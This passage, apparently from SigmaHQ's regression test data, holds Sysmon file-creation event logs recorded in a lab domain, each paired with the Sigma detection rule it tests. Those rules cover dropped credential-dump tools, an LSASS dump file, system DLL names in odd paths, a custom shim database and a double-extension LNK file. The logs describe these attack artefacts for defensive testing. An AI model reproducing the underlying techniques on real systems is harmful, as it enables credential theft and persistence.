\"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:34:34.645\",\n \"ProcessGuid\": \"5AA13A44-0D08-68FC-DD1D-000000004002\",\n \"ProcessId\": 9612,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Desktop\\\\AnyDesk.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\AppData\\\\Roaming\\\\AnyDesk\\\\user.conf.new\",\n \"CreationUtcTime\": \"2025-10-24 23:34:32.250\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_anydesk_artefact/info.yml",
"content": "id: 0d7ff9a2-a55c-46c8-b878-4ec4ea8e91ae\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 0b9ad457-2554-44c1-82c2-d56a99c42377\n title: Anydesk Temporary Artefact\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_anydesk_artefact/0b9ad457-2554-44c1-82c2-d56a99c42377.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_create_evtx_non_common_locations/65236ec7-ace0-4f0c-82fd-737b04fd4dcb.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:36:53.996168Z\"\n }\n },\n \"EventRecordID\": 19025,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:36:53.977\",\n \"ProcessGuid\": \"5AA13A44-523E-68FB-1700-000000004002\",\n \"ProcessId\": 1276,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\svchost.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\Documents\\\\fed85bf9-e075-4280-9159-fbe8a023d6fa.evtx\",\n \"CreationUtcTime\": \"2025-10-24 23:36:52.320\",\n \"User\": \"NT AUTHORITY\\\\LOCAL SERVICE\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_create_evtx_non_common_locations/info.yml",
"content": "id: afb1a75a-79c0-451e-b2dc-cb14fdc0e7ef\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 65236ec7-ace0-4f0c-82fd-737b04fd4dcb\n title: EVTX Created In Uncommon Location\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_create_evtx_non_common_locations/65236ec7-ace0-4f0c-82fd-737b04fd4dcb.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_create_non_existent_dlls/df6ecb8b-7822-4f4b-b412-08f524b4576c.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:38:31.938519Z\"\n }\n },\n \"EventRecordID\": 20972,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:38:31.936\",\n \"ProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ProcessId\": 10048,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\cmd.exe\",\n \"TargetFilename\": \"C:\\\\Windows\\\\System32\\\\WLBSCTRL.dll\",\n \"CreationUtcTime\": \"2025-10-24 23:38:31.936\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_create_non_existent_dlls/info.yml",
"content": "id: 8da08693-5638-4236-87b1-d04b4fcc5e84\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: df6ecb8b-7822-4f4b-b412-08f524b4576c\n title: Creation Of Non-Existent System DLL\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_create_non_existent_dlls/df6ecb8b-7822-4f4b-b412-08f524b4576c.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_creation_new_shim_database/ee63c85c-6d51-4d12-ad09-04e25877a947.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:39:53.705006Z\"\n }\n },\n \"EventRecordID\": 22566,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:39:53.699\",\n \"ProcessGuid\": \"5AA13A44-D070-68FB-1A18-000000004002\",\n \"ProcessId\": 7680,\n \"Image\": \"C:\\\\Windows\\\\explorer.exe\",\n \"TargetFilename\": \"C:\\\\Windows\\\\apppatch\\\\CustomSDB\\\\my_custom.sdb\",\n \"CreationUtcTime\": \"2025-10-24 23:39:53.699\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_creation_new_shim_database/info.yml",
"content": "id: 094a2fb2-b1fd-4943-9379-c25e7ddb7136\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: ee63c85c-6d51-4d12-ad09-04e25877a947\n title: New Custom Shim Database Created\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_creation_new_shim_database/ee63c85c-6d51-4d12-ad09-04e25877a947.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_creation_system_dll_files/13c02350-4177-4e45-ac17-cf7ca628ff5e.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:41:00.601559Z\"\n }\n },\n \"EventRecordID\": 23503,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:41:00.589\",\n \"ProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ProcessId\": 10048,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\cmd.exe\",\n \"TargetFilename\": \"C:\\\\tdh.dll\",\n \"CreationUtcTime\": \"2025-10-24 23:41:00.589\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_creation_system_dll_files/info.yml",
"content": "id: 61017761-38ab-4224-a43f-6cc53b67e374\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 13c02350-4177-4e45-ac17-cf7ca628ff5e\n title: Files With System DLL Name In Unsuspected Locations\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_creation_system_dll_files/13c02350-4177-4e45-ac17-cf7ca628ff5e.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_creation_system_file/d5866ddf-ce8f-4aea-b28e-d96485a20d3d.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:41:48.497170Z\"\n }\n },\n \"EventRecordID\": 24322,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:41:48.482\",\n \"ProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ProcessId\": 10048,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\cmd.exe\",\n \"TargetFilename\": \"C:\\\\bitsadmin.exe\",\n \"CreationUtcTime\": \"2025-10-24 23:41:48.482\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_creation_system_file/info.yml",
"content": "id: e0123384-7d25-4178-b011-c1d37394d8dc\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: d5866ddf-ce8f-4aea-b28e-d96485a20d3d\n title: Files With System Process Name In Unsuspected Locations\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_creation_system_file/d5866ddf-ce8f-4aea-b28e-d96485a20d3d.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files/8fbf3271-1ef6-4e94-8210-03c2317947f6.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:43:34.136421Z\"\n }\n },\n \"EventRecordID\": 26359,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:43:34.134\",\n \"ProcessGuid\": \"5AA13A44-D070-68FB-1A18-000000004002\",\n \"ProcessId\": 7680,\n \"Image\": \"C:\\\\Windows\\\\explorer.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\procdump64.exe\",\n \"CreationUtcTime\": \"2025-10-24 23:43:34.134\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:43:34.154339Z\"\n }\n },\n \"EventRecordID\": 26362,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:43:34.145\",\n \"ProcessGuid\": \"5AA13A44-D070-68FB-1A18-000000004002\",\n \"ProcessId\": 7680,\n \"Image\": \"C:\\\\Windows\\\\explorer.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\procdump64.exe:Zone.Identifier\",\n \"CreationUtcTime\": \"2022-11-03 15:55:14.000\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:43:34.160852Z\"\n }\n },\n \"EventRecordID\": 26366,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:43:34.145\",\n \"ProcessGuid\": \"5AA13A44-D070-68FB-1A18-000000004002\",\n \"ProcessId\": 7680,\n \"Image\": \"C:\\\\Windows\\\\explorer.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\procdump64a.exe\",\n \"CreationUtcTime\": \"2025-10-24 23:43:34.145\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:43:34.177439Z\"\n }\n },\n \"EventRecordID\": 26369,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:43:34.177\",\n \"ProcessGuid\": \"5AA13A44-D070-68FB-1A18-000000004002\",\n \"ProcessId\": 7680,\n \"Image\": \"C:\\\\Windows\\\\explorer.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\procdump64a.exe:Zone.Identifier\",\n \"CreationUtcTime\": \"2022-11-03 15:55:14.000\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:43:34.183790Z\"\n }\n },\n \"EventRecordID\": 26373,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:43:34.178\",\n \"ProcessGuid\": \"5AA13A44-D070-68FB-1A18-000000004002\",\n \"ProcessId\": 7680,\n \"Image\": \"C:\\\\Windows\\\\explorer.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\procdump.exe\",\n \"CreationUtcTime\": \"2025-10-24 23:43:34.178\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:43:34.211790Z\"\n }\n },\n \"EventRecordID\": 26376,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:43:34.209\",\n \"ProcessGuid\": \"5AA13A44-D070-68FB-1A18-000000004002\",\n \"ProcessId\": 7680,\n \"Image\": \"C:\\\\Windows\\\\explorer.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\procdump.exe:Zone.Identifier\",\n \"CreationUtcTime\": \"2022-11-03 15:55:14.000\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files/info.yml",
"content": "id: ef67d58b-a7c2-434f-af87-34ae280a2968\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 8fbf3271-1ef6-4e94-8210-03c2317947f6\n title: Cred Dump Tools Dropped Files\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_cred_dump_tools_dropped_files/8fbf3271-1ef6-4e94-8210-03c2317947f6.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_dump_file_susp_creation/aba15bdd-657f-422a-bab3-ac2d2a0d6f1c.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:45:24.807660Z\"\n }\n },\n \"EventRecordID\": 28881,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:45:24.804\",\n \"ProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ProcessId\": 10048,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\cmd.exe\",\n \"TargetFilename\": \"C:\\\\lsass.dmp\",\n \"CreationUtcTime\": \"2025-10-24 23:45:24.804\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_dump_file_susp_creation/info.yml",
"content": "id: 5640730a-30d1-4aca-9ad3-dbb9000bb091\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: aba15bdd-657f-422a-bab3-ac2d2a0d6f1c\n title: Potentially Suspicious DMP/HDMP File Creation\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_dump_file_susp_creation/aba15bdd-657f-422a-bab3-ac2d2a0d6f1c.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_in_uncommon_location/1cf465a1-2609-4c15-9b66-c32dbe4bfd67.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-12-10T05:14:28.844323Z\"\n }\n },\n \"EventRecordID\": 18792,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3208,\n \"ThreadID\": 1724\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"swachchhanda\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"Public\",\n \"UtcTime\": \"2025-12-10 05:14:28.840\",\n \"ProcessGuid\": \"0197231E-01A8-6939-0811-000000000800\",\n \"ProcessId\": 8868,\n \"Image\": \"C:\\\\WINDOWS\\\\system32\\\\certutil.exe\",\n \"TargetFilename\": \"C:\\\\Users\\\\Public\\\\7zip.exe\",\n \"CreationUtcTime\": \"2025-12-10 05:14:28.840\",\n \"User\": \"swachchhanda\\\\xodih\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_in_uncommon_location/info.yml",
"content": "id: 27565138-af8e-4c92-956e-586bbc0a3539\ndescription: N/A\ndate: 2025-12-10\nauthor: Swachchhanda Shrawan Poudel (Nextron Systems)\nrule_metadata:\n - id: 1cf465a1-2609-4c15-9b66-c32dbe4bfd67\n title: Legitimate Application Writing Files In Uncommon Location\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_in_uncommon_location/1cf465a1-2609-4c15-9b66-c32dbe4bfd67.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension/3215aa19-f060-4332-86d5-5602511f3ca8.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 11,\n \"Version\": 2,\n \"Level\": 4,\n \"Task\": 11,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-24T23:54:01.546728Z\"\n }\n },\n \"EventRecordID\": 86290,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3308,\n \"ThreadID\": 4008\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-dc.attackrange.local\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-24 23:54:01.546\",\n \"ProcessGuid\": \"5AA13A44-0C90-68FC-BF1D-000000004002\",\n \"ProcessId\": 10048,\n \"Image\": \"C:\\\\Windows\\\\system32\\\\cmd.exe\",\n \"TargetFilename\": \"C:\\\\evil.doc.lnk\",\n \"CreationUtcTime\": \"2025-10-24 23:54:01.546\",\n \"User\": \"ATTACKRANGE\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension/info.yml",
"content": "id: fbe93ba9-3124-4488-b6d8-ca3f7bb34c4b\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 3215aa19-f060-4332-86d5-5602511f3ca8\n title: Suspicious LNK Double Extension File Created\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/file/file_event/file_event_win_susp_lnk_double_extension/3215aa19-f060-4332-86d5-5602511f3ca8.evtx\n"
},
{
"path": "regression_data/rules/windows/file/file_event/file_event_win_susp_public_folder_extension/b447f7de-1e53-4cbf-bfb4-f1f6d0b04e4e.json",
